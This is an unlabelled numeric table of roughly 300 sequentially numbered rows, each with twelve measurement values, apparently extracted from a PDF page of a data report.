357 246.1 38.4 9.9 8231.2 208.2 3463.1 9749.6 203.4 679.4 2015 9.2 1
358 249.1 39 9.9 8279.3 218.6 3462.6 9685.8 203 679.2 1951.5 8.3 1
359 251.6 39 9.9 8366.1 230.4 3477.3 9614.2 190.8 679.8 1967.7 8.3 1
360 253.1 39 9.8 8219 236.6 3389.9 9562.6 216 703 2027.1 8.3 1
361 253 38.4 9.9 8244.8 238.8 3398.7 9503.2 190.8 727 2012.9 8.3 1
362 248.6 37.2 9.4 8282.4 239.6 3416.9 9415.8 216 750.2 1998.4 8.3 1
363 245.8 38.4 9.3 8384.7 240 3468.7 9390.8 240.8 763 2023 8.3 2
364 249.9 38.4 9.2 8374.4 223.4 3507.5 9407.6 265.2 761.8 2041.1 8.3 1.6
365 250.2 39 9.2 8265.5 204.2 3517 9376 227.8 739.4 2029.6 11.1 1.6
366 252 39 9.2 8880.1 194.2 3843.8 9339.2 240.6 727 2036.7 10.6 1.6
367 246.6 37.2 9.2 9116.8 173.2 4025.7 9327.6 228.2 727 2012.7 11.5 1.6
368 245.9 37.2 8.8 9014.5 160.4 4007.2 9297.8 215.2 715.2 2048.5 11.5 1.6
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369 243.8 37.2 8.8 8811.4 151.4 3931.8 9165.2 177.8 716.4 2052.3 13.3 1.6
370 243.3 36.9 8.8 8824.3 149.4 3943.6 9107.2 203 727.2 2043.8 16.6 2.5
371 243.7 37 8.5 8797.1 151 3925.6 9109.8 190.2 716 2054.4 18.1 4
372 244.3 37.7 8.5 8546.2 150.6 3799.9 9025.4 178 680.2 2045.8 44.8 4
373 247.5 37.3 8.3 8514.5 150.4 3786.8 8893.4 166.2 680 2057.8 44.8 3
374 249.9 38.9 8.2 8388.2 149.2 3585.6 8850.6 203.6 679.6 2071.4 45.7 3.6
375 255.3 38.3 8 8318.7 149.4 3551 8821.8 178.4 703.6 2126.2 43.6 4.8
376 253.4 37.5 7.7 8320.4 147.4 3556.3 8789.8 215.8 691.2 2178.6 48.4 4.8
377 253.6 38.6 7.3 8159.9 147.4 3475.3 8720.4 228 715.6 2251.5 49.3 4.8
378 261.3 40.7 7.8 8029.8 146.6 3412.2 8774.2 228 715 2282 49.3 4.8
379 268 40.7 7.6 8042.4 146.4 3417.9 8740.2 228 715 2293.5 47.5 4.8
380 265.4 40.2 7.2 7873.7 144.8 3338.9 8696.6 253.2 702.6 2306 44.2 3.9
381 264.4 40.7 7.2 7745.8 141.6 3281.1 8614 228.8 703 2349.3 41.8 2.4
382 267.1 40.6 7.3 7764.2 143 3286.3 8572.4 216.6 714.4 2410.8 16 2.4
383 265 40.6 7.2 7609.9 140.2 3214.7 8525.8 229.2 691.4 2450.9 16 2.4
384 265.1 40.8 7.2 7509.9 136.4 3316.9 8576.8 203.6 691.2 2480.9 15.1 1.9
385 265.4 41 7.2 7485.6 133.2 3312.7 8547.8 215.8 691.8 2479.6 13 1
386 265.9 41.4 7.3 7345.5 138.8 3230.2 8462.2 240.2 703.2 2471.1 9.3 1
387 266.1 40.9 7.3 7303.6 143 3201.2 8447.2 263.8 668.2 2467 7.5 1
388 255.7 38.8 6.8 7232.9 149 3151.2 8399.8 252 702.6 2489.2 7.5 1
389 266.9 39.2 7.3 7167.5 147.8 3122.9 8358 277.6 714 2522.2 7.9 1
390 278.9 40 7.8 7102.1 148.6 3086.6 8329.2 240.6 713.8 2552.1 7.9 1
391 287.1 41 8.1 7011.7 150.8 3035.9 8313 240.2 714.8 2556.4 8.8 1
392 299.1 41.8 8.6 6942 147.6 2909 8216.2 241.2 749.8 2561.6 8.3 1
393 307.7 41.6 9 6929.7 151.4 2891.6 8163.2 277.8 727 2569.3 8.3 2
394 305.6 41 9 6832 154.8 2834 8045.4 253.4 692.6 2570.9 9 1.3
395 302.9 40.8 8.9 6817.7 152.4 2834 7903.8 290 681.4 2573 10.1 1.2
396 302.1 40.8 8.8 6595 147.2 2735.8 7846.6 290.4 680.4 2586.1 11 1.2
397 301.8 40.4 8.8 6451.6 140.4 2680.7 7879 278 668.6 2588.3 11 1.4
398 300.9 41 8.8 6339.5 134.6 2638.3 7861.4 253.2 657 2598.5 13 1.6
399 289.9 41 8.3 6422.4 134.6 2679.6 7824.2 240.2 692 2609.6 12.6 1.6
400 306.2 44.3 9 6385.2 134.4 2660.3 7881.6 228.4 679.8 2618.8 16.4 1.6
401 333.2 45.8 10.9 6200.6 132.2 2575.6 7834.2 228.6 691.6 2627.9 17.9 1.6
402 372.9 49.8 11.9 6148.2 134 2646.3 7717.4 216.6 668 2622.8 17.5 1.6
403 400.2 51.7 12.2 6061.2 133.4 2607.2 7609.4 241.4 679.6 2599.9 17.5 0.6
404 402.5 51.5 12.2 5992.9 134.2 2570.5 7586 241.8 644.2 2581.1 19.2 3.4
405 410.3 52.5 12.7 6106.1 136.2 2621.6 7472.4 216.6 667.6 2613.4 35.9 4.3
406 529 61.8 17.3 6137.9 137.2 2634.6 7408 217.2 644.4 2675.6 40.4 4.3
407 546.5 63.2 17.7 6104.7 139 2614.5 7429 241.4 656.4 2725.5 40.4 4.1
408 549.8 62.8 17.8 6192.2 140.2 2655.5 7409.6 242.2 644.6 2755 38.4 3.9
409 615.7 69.3 17.4 5964.6 139.6 2544.9 7322 241.8 668.4 2712.3 38.4 3.9
410 592.1 65.8 16.4 5923 141.6 2521.3 7326.2 279.2 680 2877.3 34.6 4.1
411 562.4 64.1 14.3 5940.6 142.2 2529.2 7312.2 253.8 703.8 2909.4 32.9 4.1
412 514 60.3 12.9 5952.9 142.4 2533.1 7286.8 228.6 726.6 3041.4 32.1 4.1
413 481.3 57.6 12.4 5847.4 140.6 2486.5 7206.6 190.4 761.6 3187.3 32.5 4.1
414 474 57 12.2 5852.3 140.2 2489.4 7188.4 228 772.4 3216.1 30.1 1.8
415 463.5 55.4 11.7 5634.2 141 2377.6 7164.4 227.6 749.4 3320.2 7.7 1.3
416 348 46.3 6.9 5538.4 141 2330.3 7102 251.6 736.8 3363.5 8.8 1.4
417 337.9 45.9 6.7 5569 138.6 2349.9 7044 264.6 702.4 3336.4 9 1.4
418 339.7 46.7 6.8 5441.5 136.2 2293.3 7058.8 290 679 3400.2 9 1.4
419 278.2 41 7.3 5432.3 135.6 2289 7092 290 644.6 3424.4 9 1.4
420 279.8 40.6 7.4 5364.1 135.6 2255.2 7009.6 265.6 667.6 3293.3 9 1.2
421 276.5 43.2 7.2 5361.6 135.8 2174.4 7043.2 265.6 656.6 3315.7 8.3 1.2
422 275.7 42.6 7.2 5299 136.2 2142.6 7012.6 265.2 679.6 3271.5 8.2 1.2
423 291.4 47.2 7.8 5319.5 136 2152.9 6980 252.4 691.8 3179 7.8 1.2
424 298.9 47.7 8 5224.8 133.4 2114.2 6875.4 240 703.2 3231.1 7.8 0.7
425 347.8 55.6 9.7 5208.4 135.2 2102.4 6881.2 264.4 691.8 3268.6 10.6 1.5
426 362.5 57.5 10.5 5231.8 135.2 2113.1 6847.8 227.8 691.6 3215.2 9.7 1.4
427 356 56.9 10.3 5121.6 138.8 2049.8 6808.8 227.4 703.2 3247.6 9.5 1.4
428 363.4 56.5 10.6 5094.4 139 2036.6 6761.2 238.8 691.2 3297.5 9.5 1.4
429 354.2 55.3 10.3 5027 139.2 2001.6 6758.8 226.6 680.2 3360.3 10.9 1.4
430 354.8 56.5 10.5 5009.9 138.2 1994.5 6655.4 213.6 680.4 3436.1 10.9 1.4
431 350 53.1 10.2 4973.8 137.8 2056.1 6569.4 213.4 692.8 3531.5 10.9 1.4
432 351 53.9 10.5 4879.8 136.8 2012.6 6488.8 189 680.8 3488.5 10.9 1.4
433 353.3 49.5 10 4823.9 139.2 1977.9 6411.2 202 704.6 3501.5 10.9 3
434 352.2 48.6 10.2 4823.7 140.4 1975.6 6427.2 190.2 727.6 3510.1 15.1 3
435 310.9 40.1 8.2 4769.8 139 1951.7 6461 167 739.4 3396.3 16.9 3.2
436 300.2 39.3 7.8 4735.1 142.2 1926.8 6448.4 167 738.6 3433.8 20.9 3.2
437 307.9 39.3 8.2 4718.8 139.8 1925.6 6412.6 204.2 750.8 3475.8 20.9 3.2
438 303.6 39.3 8.1 4661.8 141.4 1892.4 6396 167.2 715.4 3363.5 20.9 3.2
439 296.8 40.5 8.3 4617.7 144 1864.7 6288.6 203.4 716.2 3235.5 19.5 3.2
440 304.5 39.9 7.9 4610.2 145.4 1858.9 6208 239.4 692.6 3240.9 19.5 3.2
441 307.9 39.9 8.5 4544.4 149.4 1815.4 6157 277 716 3145.4 19.5 3.2
442 303.4 38.7 8.5 4531.6 148.4 1812.5 6182 239.8 681 3167.4 19.5 3.2
443 274.8 38.7 8.6 4517.3 146.8 1809.5 6153.8 251.6 681.4 3272.9 19.5 1.6
444 277 39.3 8.6 4467.6 149.2 1777 6119.2 252 680.4 3241.2 15.3 1.6
445 268.3 40.5 9.2 4414.8 147.2 1757.4 6063 252.8 703.6 3286.2 17.3 1.2
446 276.8 43.4 9.2 4371.8 142.6 1747.5 6024.8 215.2 691.6 3358.2 7.5 1.2
447 315.4 51.6 9.2 4348.5 143 1734.2 5972.6 240.6 727 3303.5 7.5 1.2
448 310.2 50.4 9 4317.6 139.4 1728.4 5996.8 241.8 761.8 3231.1 7.5 1.2
449 315.3 49.2 9.2 4335.9 140 1737.1 5945.4 228.8 773.8 3466.7 7.5 1.2
450 304.5 49.2 9.6 4284.3 149.2 1688.5 5918.4 204.6 738.4 3390.9 7.5 1.2
451 305.3 49.2 9.6 4328.5 152 1705.2 5913.8 242.2 750.4 3377.2 7.5 1.2
452 309.9 50.4 9.6 4330.1 157.8 1690.7 5896 228.6 750.2 3425.6 7.5 1.2
453 319 49.8 9.6 4299.6 158.6 1673.3 5786.4 253.4 739 3314.9 7.5 1.2
454 309.8 49.2 9.6 4226.8 157.6 1640.3 5743.2 229 715.2 3389.9 7.5 1.2
455 312.2 49.8 9.5 4175.1 161.4 1603.7 5709 215.6 727.4 3461 9.8 1.6
456 298 44.8 9.6 4098.6 161.6 1566 5703 203.4 692 3359.7 9.8 1.6
457 251.9 36.6 9.6 4013.8 160.2 1528.3 5701 191.6 668.8 3385.1 9.8 1.6
458 249.6 36.6 9.7 3984.1 164 1502.2 5745.2 179 644.6 3495.1 9.8 1.6
459 248.6 36 9.2 3919 158.2 1484.8 5776.6 178.6 644.8 3383.9 9.8 1.6
460 246.7 36 9.2 3868.5 145 1492.8 5791.4 191.2 656.2 3411.7 9.8 1.6
461 248 37.2 9.3 3807.3 139 1476.1 5791.2 165.8 680.6 3537.1 9.8 1.6
Page 6
462 249 36 9.3 3731.4 134 1451.2 5767.4 177.6 704 3493.9 9.8 1.6
463 246.3 36.6 9.3 3659 131.8 1421 5726 165.8 704 3510 9.8 1.6
464 247.1 36.6 9 3616.4 133 1396 5655.8 166.2 705 3463.4 17.5 3
465 240.9 34.8 9.1 3561.1 128.8 1380.4 5666.4 166.6 693.4 3316.9 8.6 1.4
466 237.5 35.2 8.8 3560.7 128.6 1380.4 5564.6 192.2 705 3363.9 14.1 2.4
467 240.3 36.3 8.5 3551 129.2 1374.6 5527.8 181.4 704.6 3396.4 14.1 2.4
468 288.4 49.2 9.7 3527.8 129.6 1363 5445.4 168.4 704.8 3305.8 14.1 2.4
469 295.7 50 9.9 3487.1 131.8 1336.9 5485 193.2 727.6 3280.7 14.1 2.4
470 294.5 49.6 9.5 3435.4 132 1310.8 5380.2 217.6 728.2 3287.8 14.1 2.4
471 293.4 48.6 9.2 3391.2 132.4 1287.6 5370.6 192 715.2 3178.2 14.1 2.4
472 288.8 48.6 8.8 3347.5 132.4 1266.1 5357.2 204.2 715.4 3201.2 14.1 2.4
473 288.6 48.2 8.4 3348.4 133.2 1265.2 5417.4 241.2 727 3236.1 14.1 2.4
474 288.7 49 8.3 3349.9 133.6 1265.2 5400.4 228.6 715 3206.1 6.4 1
475 295.7 50.2 8 3364.5 134.4 1271 5412.8 191.2 714.2 3248.1 13.1 2.2
476 299.5 51 8 3331.3 139 1242 5354.2 228.6 703.6 3219 7.6 1.2
477 329.4 49.7 9.4 3295.2 140.8 1218.8 5248.2 228.4 668.4 3155.4 8.6 1.2
478 293.8 37.2 8.5 3283.7 138.8 1218.8 5197.4 216.2 668.8 3149.9 8.6 1.2
479 302.6 37.8 8.9 3291.6 139 1221.7 5095.4 203.6 645.4 3250.1 8.6 1.2
480 322.4 38.4 9.7 3299 140.2 1221.7 5059.6 240.8 634.4 3236.2 8.6 1.2
481 336.4 39.2 10.3 3263.4 138.2 1210.1 5063.8 240.4 634 3235.4 9.6 1.2
482 341.6 39.2 10.6 3283 139.4 1215.9 5068.4 264.8 668.8 3228 9.6 1.2
483 339.5 39.4 10.5 3261.1 138.6 1206.4 4980.4 252.6 692.6 3206.5 9.6 1.2
484 341.6 40 10.5 3255.2 134.6 1215.1 4991.2 277.8 727.6 3291.6 9.6 1.2
485 343.9 39.4 10.6 3233.3 134.6 1203.5 4985 278.4 739.2 3373.6 9.5 1.2
486 337.6 38.2 10.5 3213.3 131.8 1200.6 4932.2 253.2 727.6 3345.6 9.5 1.2
487 302.8 39 8.9 3192.8 128 1200.6 4888.2 216.2 728.2 3358.7 8.5 1.2
488 295.3 39.7 8.5 3151.8 128.8 1177.4 4904.8 240.2 715.6 3347.7 8.5 1.2
489 319.6 48.9 9.3 3126.2 129.4 1162.9 4846.4 252.4 681 3225.6 9.5 1.2
490 302.1 48.7 8.9 3081.5 128.8 1142.6 4836.8 227.6 680.8 3155.8 9.5 1.2
491 290 47.7 8.4 3048.9 130.2 1122.3 4801.2 216.2 680.8 3065.6 8.5 1.2
492 282.6 47.1 8 3018.4 131 1104.9 4756 253.6 681.4 3002.1 8.5 1.2
493 282.7 46.7 8 3003.5 131.6 1096.2 4746.6 242 657.8 2950 8.5 1.2
494 280.6 45.7 8 3010.8 136 1087.5 4774 229.8 669.2 2890.7 8.5 1.2
495 275.7 45.3 7.8 2962.5 139.2 1055.6 4685.2 254.2 657.2 2770 13 2
496 275.3 45.7 7.6 2930.9 140.4 1038.2 4728.4 291.2 669.2 2821.3 19.6 3.2
497 306.6 45.9 8.9 2940.7 143.4 1035.3 4704.6 253.4 632.8 2848 19.6 3.2
498 324.7 46.6 9.1 2945.5 142.4 1041.1 4611.4 265.4 668.8 2888.1 19.6 3.2
499 310.8 37.8 8.9 2901.3 139.8 1026.6 4594.6 276.4 680.4 2823.2 18.6 3.2
500 321.6 36.6 9 2915.4 142.2 1026.6 4616 264.4 680.2 2859.9 18.6 3.2
501 329.7 36.8 9.3 2941.9 142.2 1041.1 4543.2 252.4 668.6 2904.9 18.6 3.2
502 335 37.6 9.6 2875 141.2 1012.1 4555.8 289.8 669.8 2995 18.6 3.2
503 337.4 38.2 9.7 2851.8 143.6 994.7 4611 290 669.4 3035.2 18.6 3.2
504 339.1 38.8 9.7 2794.8 142.6 968.6 4529 279.4 669.6 3076.3 18.6 3.2
505 342.8 40.2 9.8 2770.6 138 968.6 4473 254.8 692.8 3148.9 14.1 2.4
506 350.1 40.4 10.3 2741.2 137.4 954.1 4454 267.2 692.4 3133.8 6.6 1.2
507 317.9 39 9 2725.8 134.6 954.1 4434 242 726.8 3036.5 6.6 1.2
508 293.4 38.4 8.5 2660.4 132.4 928 4393.2 217 726.6 3035 6.6 1.2
509 281.1 38.8 7.8 2650.3 136.6 910.6 4391.8 203.6 714.6 3047 6.6 1.2
510 310.9 48.3 8.5 2567.5 134.4 875.8 4390.8 216.2 727.2 3060.1 6.6 1.2
511 303.3 48.5 8.2 2499.2 133.4 843.9 4361.4 191.4 761.8 3090.1 6.6 1.2
512 300.2 48.3 8 2515.7 134.8 846.8 4369 179.2 750.2 2999.5 6.6 1.2
513 301 49.1 8 2469.7 133.8 826.5 4309.4 178.8 750 2927.9 6.6 1.2
514 306.2 49.5 8.3 2458.3 133 823.6 4273 192 761.4 2920.4 12.1 2.2
515 305.1 48.3 8.3 2456.9 136.8 812 4249 204 737.8 2811 5.6 1
516 298.6 48.9 7.9 2413.3 132.4 803.3 4223.6 191.2 703.4 2739.2 5.6 1
517 306.3 50.3 8.2 2396.3 135.4 785.9 4180.4 229.2 715 2811.4 5.6 1
518 312.1 49.5 8.5 2418.5 136.2 794.6 4201 242 692 2828.7 5.6 1
519 297.5 47.7 8 2370.2 133 780.1 4215 217.2 692.2 2890.5 5.6 1
520 258.4 39.6 6.8 2372 135.2 774.3 4226.2 217.2 715.4 2910 6.6 1
521 259 40.4 6.8 2359.5 137 762.7 4260.2 254.4 738.4 2851.1 6.6 1
522 264.4 40.8 7.1 2341.3 133 765.6 4264.8 216.6 738.6 2779.9 6.6 1
523 263.8 40.8 7.1 2326 133 756.9 4186 204.2 750 2753 6.6 1
524 262.6 40 7 2308.8 133.8 745.3 4171.6 216.8 750.4 2620.2 1.1 0
525 284.9 40.4 8 2256.3 129.8 730.8 4135 216.6 715.2 2561.9 8.9 1.4
526 308.4 40.8 8.5 2255.5 132.6 722.1 4075 191.4 728 2479.5 17.4 2.8
527 321.2 40.4 9 2252.3 132 722.1 4020 191.2 727.6 2375.1 17.4 2.8
528 330.6 41 9.4 2217.6 133.2 701.8 4063.6 203.4 705 2225.2 17.4 2.8
529 346.5 42.2 10 2230.5 141.6 687.3 4018.2 190.2 704 2086.2 17.4 2.8
530 377.6 44.9 10.4 2307.1 145.4 716.3 3984.2 165 717.2 1922.9 16.4 2.8
531 415.4 51.5 10.2 2269.5 144.2 701.8 3986 153.6 681.2 1882 16.4 2.8
532 433.4 52.5 10.9 2252.3 146.2 687.3 3993.4 191.2 682.4 1886.3 16.4 2.8
533 443.2 52.3 11.3 2264.7 146.4 693.1 3901.8 203.8 693.8 1880.9 16.4 2.8
534 449.3 53.5 11.5 2202.1 142.8 672.8 3866.6 241.6 706.4 1887.8 16.4 2.8
535 432.2 54.5 10.8 2256.3 145 693.1 3810.4 254 705.2 1933.7 12.7 1.9
536 409.4 53.5 10.7 2255.1 145.8 690.2 3776.4 253.2 705.4 1960.8 8.8 1.4
537 396.5 54.3 10.3 2164.7 142.4 655.4 3756.8 241 669 1956.8 8.8 1.4
538 385.1 55.1 10.1 2121.9 147.4 620.6 3800.4 228.4 657.2 2060.5 8.8 1.4
539 371.1 54.1 10 2122.1 143.6 629.3 3777.2 203.8 657 2097.3 8.8 1.4
540 347.6 50.6 10 2029.3 138.4 597.4 3770.4 229 656.8 2164.8 8.8 1.4
541 305.2 44 10.4 2013.4 138.4 587.6 3779.2 266.4 691 2180.5 8.8 1.4
542 282.3 43.2 9.8 1999.5 139 578.9 3730.2 265.8 714.6 2180.6 8.8 1.4
543 281.7 43.2 9.8 1951.5 135.8 564.4 3666.8 278.6 714.8 2193.1 8.8 1.4
544 273 42.6 9.8 1945.7 138.8 552.8 3701.6 266 704.2 2182.4 14.3 2.4
545 267.8 41.4 9.7 1904.9 138.8 532.5 3728.2 228.4 692.2 2158.3 10.1 1.9
546 266.9 42 8.9 1882.1 137.2 526.7 3681 202.8 669.8 2173.4 5.5 1
547 261.5 41.4 9 1915.1 142.4 529.6 3639.6 189.8 669.4 2194.8 5.5 1
548 263.2 41.4 9 1940.8 142.8 541.2 3655.8 189.4 703.6 2181.8 5.5 1
549 268.9 42 9 1895.2 141 523.8 3577.2 188.8 702.6 2237.7 5.5 1
550 263.3 43.2 8.7 1894.1 140.8 523.8 3555.8 200.6 715.2 2230.2 5.5 1
551 282 46.9 8.7 1934.2 144.8 533.6 3553.6 200.6 738.8 2227.9 5.5 1
552 322.6 53.4 8.7 1930.7 145.4 530.7 3531.8 226.2 715.8 2245.7 5.5 1
553 313.8 52.2 8.7 1901 146.4 513.2 3547.8 202.4 681.2 2218.5 5.5 1
554 311.1 51.6 8.7 1906.2 147.2 513.2 3566.8 239.8 669.8 2220.9 6.5 1
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555 310.1 52.2 8.8 1877.5 145.4 504.5 3555.2 233.4 680.6 2219.5 8.8 1.4
556 314.7 52.2 9.7 1872.9 146.2 498.7 3542.4 221.6 645.2 2186.7 11 2.4
557 316.6 51.6 9.6 1876.5 145.2 501.6 3516.4 184.2 645 2155.1 14.3 2.4
558 313.4 51.7 9.6 1853.8 139.8 504.5 3444.8 182.6 669 2124.9 14.3 2.4
559 315.3 51.1 9.6 1868.9 137 519 3436.6 170.4 656.8 2117.8 14.3 2.4
560 312.6 49.8 9.4 1868.1 137.6 516.1 3420.6 165.2 669.2 2042.8 14.3 2.4
561 291.1 44.9 9.4 1813.8 133.2 501.6 3355 178.2 704 2040.9 14.3 2.4
562 250.9 37.7 9.4 1794.1 132.6 492.9 3365 215.8 716 1978.6 14.3 2.4
563 253 38.4 9.2 1813.3 136 493 3374.2 241.6 715 1993.1 14.3 2.4
564 254.1 38.6 8.8 1822.6 133.8 504.6 3311.2 229.4 727.6 1974.7 7.8 1.4
565 258.8 39.4 8.6 1833.1 137.6 498.8 3233.4 254.2 692 1973 12.1 2.2
566 257.7 38.5 8.3 1845.2 138 504.6 3209.4 241.6 692.6 1983.7 9.9 1.2
567 253.5 37.8 8 1816 138.6 490.1 3209.6 216.6 692.4 1996.7 7.6 1.2
568 252.8 36.5 7.6 1822.3 144.2 478.5 3140.8 191.6 669.4 1962.7 7.6 1.2
569 247.2 37.3 7.2 1813.6 146.2 469.8 3116.6 203.2 691.4 1968.7 8.6 1.2
570 250.7 38.2 7.5 1784.2 145.2 458.2 3106.8 203 691.8 2030.5 8.6 1.2
571 255.7 38.8 7.3 1816.9 145.8 472.7 3108.6 202.8 679.6 2023.3 8.6 1.2
572 266.6 42.6 7.1 1816.3 144.8 475.6 3084.2 215.4 691.4 2075.8 8.6 1.2
573 304.3 48.8 8.1 1850.1 143.4 495.9 3118 215 714.6 2066.3 9.6 1.2
574 301.5 48 8 1811.2 143.6 475.6 3105.8 190.4 704 2064.2 9.6 1.2
575 294.5 46.4 7.8 1814.1 142 481.4 3104.8 191 715 2058.8 11.9 1.6
576 293.6 46.7 7.7 1788.7 140.4 472.7 3104 202.6 714.8 2069.3 11.9 1.6
577 296.9 48.2 7.7 1777.9 138 472.7 3101.2 190.4 727 2078.4 10.9 1.6
578 302.4 49.4 7.9 1762.6 132.8 478.5 3080 215.8 739 2115.3 10.9 1.6
579 307.2 49 8.2 1768.9 131.4 484.3 3080.6 229.2 738.2 2095.5 9.9 1.6
580 302 48.2 8 1749.2 131 475.6 3048.2 216.4 750.4 2116.9 9.9 1.6
581 301.4 48 7.8 1719.3 131.8 458.2 3056.8 204.6 727 2124.6 9.9 1.6
582 293.1 45.3 7.7 1713.9 132.8 452.4 3001.8 216.4 703.6 2125.1 9.9 1.6
583 261.3 40.2 6.8 1685.9 131 443.7 2956.8 192.2 691.6 2109.7 8.9 1.6
584 269.7 41.6 7.1 1727 131 464 2960.6 203.6 669 2118.5 13.5 2.8
585 273.3 42 7.2 1693.1 130.4 449.5 3005.4 202.8 668.8 2137 8.7 1.4
586 272.5 42 7.2 1681.1 131.6 440.8 2960.8 228 681 2138.2 16.4 2.8
587 272.2 40.8 7.3 1650.6 132.8 423.4 2947.4 227.8 668.8 2119.6 16.4 2.8
588 278.4 39.8 7.6 1623.8 133.4 408.9 2923.8 227.4 680.8 2087 16.4 2.8
589 283.5 39.6 7.7 1572.5 134.8 379.9 2918.8 240 715.4 2021.5 16.4 2.8
590 289.1 39.6 7.9 1570.2 135.4 377 2848.2 228.2 704 2017.1 16.4 2.8
591 293.4 39.6 8.2 1558.2 136.8 367.8 2827 227.8 715.2 2027.9 16.4 2.8
592 297.1 39.2 8.4 1588.8 139.2 377 2861 216.2 736.4 2020.9 16.4 2.8
593 331.8 47.8 8.5 1566.9 142.8 356.7 2877.6 241.2 724.2 2162.7 16.4 2.8
594 362.1 52.6 9.3 1572.2 146.2 350.9 2810.4 217.2 689.2 2244.5 11.8 1.6
595 365.2 52.8 9.5 1580.7 146.6 353.8 2799.2 242 712.6 2250.3 15.2 2.6
596 365.2 52.8 9.5 1651.3 150.2 379.9 2806 242.2 712.8 2363.9 7.5 1.2
597 365.8 54 9.4 1661.5 151.8 379.9 2737 254.6 726.2 2460.4 7.5 1.2
598 359.3 54.6 9.1 1702.8 155 391.5 2683.4 254 703.4 2487.6 8.3 1.2
599 352.4 55.4 8.9 1727.3 155.2 403.1 2705.8 278 737.8 2666.4 8.3 1.2
600 352 56.2 8.9 1725.5 156 400.2 2681.8 253.6 726.2 2709.6 8.3 1.2
601 361.6 55.6 9.3 1751.2 156.2 412.3 2658.6 241.6 702.8 2705.6 8.3 1.2
602 361.7 54.8 9.4 1697.4 154.2 391.5 2638.4 253.8 680 2820.7 8.3 1.2
603 356.3 49.5 10.8 1676.7 153.6 382.8 2682.8 242 680 2784.8 8.3 1.2
604 330.1 44.5 10 1642.3 151.4 371.2 2648.2 229.4 669.2 2695.9 13.8 2.2
605 331.8 44.5 10 1652.4 151 377 2658.8 266.4 680.2 2789.1 7.1 1
606 334.8 45.1 10.1 1588.7 145.4 359.6 2647 266.4 692.6 2763.1 7.1 1
607 386.1 44.9 12.3 1562.4 142.6 353.8 2645 229 692.2 2693.3 7.1 1
608 418.5 44.3 13.8 1571.6 138.8 368.3 2588.2 216 716 2799.7 6.3 1
609 454.2 43.3 15.4 1574.1 138.2 371.2 2578.4 191.6 704.2 2769.9 6.3 1
610 482.6 43.3 15.6 1565.4 138.8 365.4 2577.4 166.2 704.8 2771.3 6.3 1
611 496.4 44.3 14.5 1518.9 136.8 348 2565.4 177.2 692.2 2905.7 7.3 1
612 507.7 45.5 14.5 1532.4 135.8 356.7 2540.8 190 692.6 2898.5 7.3 1
613 484 42.2 13.2 1582.1 134 385.7 2521.4 214.8 668.6 2841.5 7.3 1
614 479.1 42.4 13.2 1583.5 134.4 385.7 2541.4 251.4 692.8 2953.3 1.8 1.1
615 474.9 42.2 13.1 1568.8 135 377 2522.4 276.8 680.8 2901 8.8 1.4
616 472.3 41.2 13 1597.4 136 388.6 2533.8 266 705.2 2806.7 11.8 3
617 419.4 41.2 10.7 1608.3 136.8 391.5 2546.4 264.8 693.2 2904.5 17.6 3
618 390.8 42.4 9.4 1583.2 136.6 379.9 2520.2 240 716.2 2833 18 3
619 353.7 43 7.7 1602.8 136.8 388.6 2461.2 228.2 691.8 2720.7 18.4 3
620 322.3 42 7.4 1638.7 134.8 411.8 2422.4 203.4 704 2616.5 18.4 3
621 290.4 41.4 7.7 1684.5 136.8 429.2 2369 203.2 714.4 2568 17.4 3
622 273.8 40.2 7.4 1704.3 139.6 432.1 2368.2 191.8 749.4 2467.6 17.4 3
623 258.2 39.2 6.9 1688.8 140.2 423.4 2381.2 204.4 738.2 2510.2 17.4 3
624 256.2 39 6.8 1677.7 140.4 417.6 2406.2 192.2 738.4 2463.8 17.4 1.9
625 257.2 39.8 6.7 1690.4 143.8 414.7 2428.8 204.8 738.2 2400.4 10.9 3
626 273.8 41.2 7.4 1683.7 145.8 406 2437 191.8 715.4 2468.8 14.3 1.4
627 277.7 41.8 7.9 1681.4 145.6 406 2403.6 228.8 680.8 2454.5 8.5 1.4
628 273.6 41 7.7 1653.5 145.8 391.5 2423.6 203.6 692.8 2452.1 8.7 1.4
629 272.9 41 8 1625.6 145 379.9 2420.8 228 692.8 2456.2 8.3 1.4
630 273.3 41.8 8.3 1635.2 144.6 385.7 2374.2 228 692.8 2558.3 8.3 1.4
631 271.8 41 8.7 1648.8 143.6 394.4 2340.4 228.8 681 2494.9 8.7 1.4
632 270.6 42.4 8.9 1645.8 140.6 400.2 2337.4 191.4 704.4 2587.4 8.9 1.4
633 275.8 41.6 9.3 1652.4 139.4 406 2291.6 204.8 680.8 2582.4 8.9 1.4
634 271.3 41 9 1656.1 138.6 408.9 2237.8 205 681.4 2509.7 11.1 3
635 258.2 39.4 9.2 1692.3 134.4 437.9 2273.4 217.2 645.8 2606 16.5 1.6
636 245 39 8.9 1677.5 132.6 435 2283.2 228.6 681.2 2570.5 10.1 1.6
637 241.1 39 8.8 1715.8 132 455.3 2284.4 228.6 681 2488 10.5 1.6
638 240.7 39 9 1738.2 133 464 2272.6 252.6 693.2 2552.7 9.9 1.6
639 243.3 39.6 9 1734.5 133.6 461.1 2258.4 239.6 692.4 2622.8 10.1 1.6
640 305.1 38.4 8.9 1721.8 135.6 449.5 2200.2 202.2 728.2 2573.9 10.1 1.6
641 333.8 39.6 9 1700.5 134 443.7 2153.8 190 692.4 2634.5 9.7 1.6
642 360.9 38.4 8.9 1695.5 134.4 440.8 2154.2 190 692.8 2587.7 9.5 1.6
643 386.4 40.2 8.9 1700.8 136.6 437.9 2141.2 166 692 2519.4 9.5 1.6
644 419.4 40.2 9.4 1753.4 136.8 464 2135.4 178.8 681 2631.2 7.3 0
645 430.6 42 9.4 1743.6 136.2 461.1 2169.6 179 657 2605.4 1.7 2.4
646 429.1 40.8 9.4 1748.4 136 464 2204 180.8 693 2596.1 13.8 2.4
647 428.6 39.6 9.5 1704 136.4 440.8 2156.6 180.8 704.6 2648 13.4 2.4
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648 457.3 40.2 9.5 1703 136 440.8 2145 180 704.8 2662.7 13.4 2.4
649 470.6 39.6 9.5 1705 134.2 446.6 2130.4 155.8 716.4 2520.1 13.2 2.4
650 438.1 41.4 9.6 1693.2 133 443.7 2107 192.6 705.4 2537 13.2 2.4
651 435.5 42 8.7 1682.3 131.2 443.7 2072.6 216 669 2496.9 13.2 2.4
652 431.7 41.4 8.9 1699.3 132.2 449.5 2051 253.4 645.8 2433.5 13.2 2.4
653 407.2 41.4 8.7 1692.6 132 446.6 2041.2 278.2 634.6 2522.5 13.2 2.4
654 387.2 42 8.8 1653.2 132.2 426.3 2059.2 265 634.4 2456.8 13.2 2.6
655 387.3 41.4 8.3 1603.4 133.6 397.3 2013.2 228.6 657.4 2393.1 21.4 1.6
